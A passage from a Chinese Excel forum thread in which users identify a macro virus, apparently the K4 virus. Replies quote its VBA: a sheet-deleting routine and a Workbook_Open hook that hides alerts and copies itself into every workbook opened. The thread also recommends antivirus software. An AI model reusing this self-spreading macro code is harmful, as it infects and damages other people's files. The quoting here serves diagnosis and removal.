  649. For Each sht In ThisWorkbook.Sheets
  650.     If sht.Name <> "Macro1" Then sht.Visible = xlSheetVisible
  651. Next
  652. For Each rng In Sheets(del_sht).Range("A1:F15")
  653. If InStr(rng.Value, "CONFIDENTIAL") > 0 Then
  654. del_frag = True
  655. Exit For
  656. End If
  657. Next
  658. If del_frag = True Then Sheets(del_sht).Delete
  659. Application.ScreenUpdating = True
  660. End Function
复制代码
回复

使用道具 举报

发表于 2013-4-16 11:29 | 显示全部楼层
thisworkbook 里还有代码

  1. Public WithEvents xx As Application
  2. Private Sub Workbook_open()
  3. Set xx = Application
  4. On Error Resume Next
  5. Application.DisplayAlerts = False
  6. Call do_what
  7. End Sub
  8. Private Sub xx_workbookOpen(ByVal wb As Workbook)
  9. On Error Resume Next
  10. wb.VBProject.References.AddFromGuid _
  11. GUID:="{0002E157-0000-0000-C000-000000000046}", _
  12. Major:=5, Minor:=3
  13. Application.ScreenUpdating = False
  14. Application.DisplayAlerts = False
  15. copystart wb
  16. Application.ScreenUpdating = True
  17. End Sub
复制代码
建议你下载一个 avast 杀毒来用,家庭版的,用邮箱注册可使用一年,第二年继续注册
360和金山在默认状态下对宏病毒是开绿灯的!!



回复

使用道具 举报

 楼主| 发表于 2013-4-16 13:50 | 显示全部楼层
原来是K4宏病毒,现在解决啦!谢谢您的关注。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|Archiver|Excel精英培训 ( 豫ICP备11015029号 )

GMT+8, 2024-4-30 02:38 , Processed in 0.497287 second(s), 13 queries , Gzip On, Yac On.

Powered by Discuz! X3.4

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表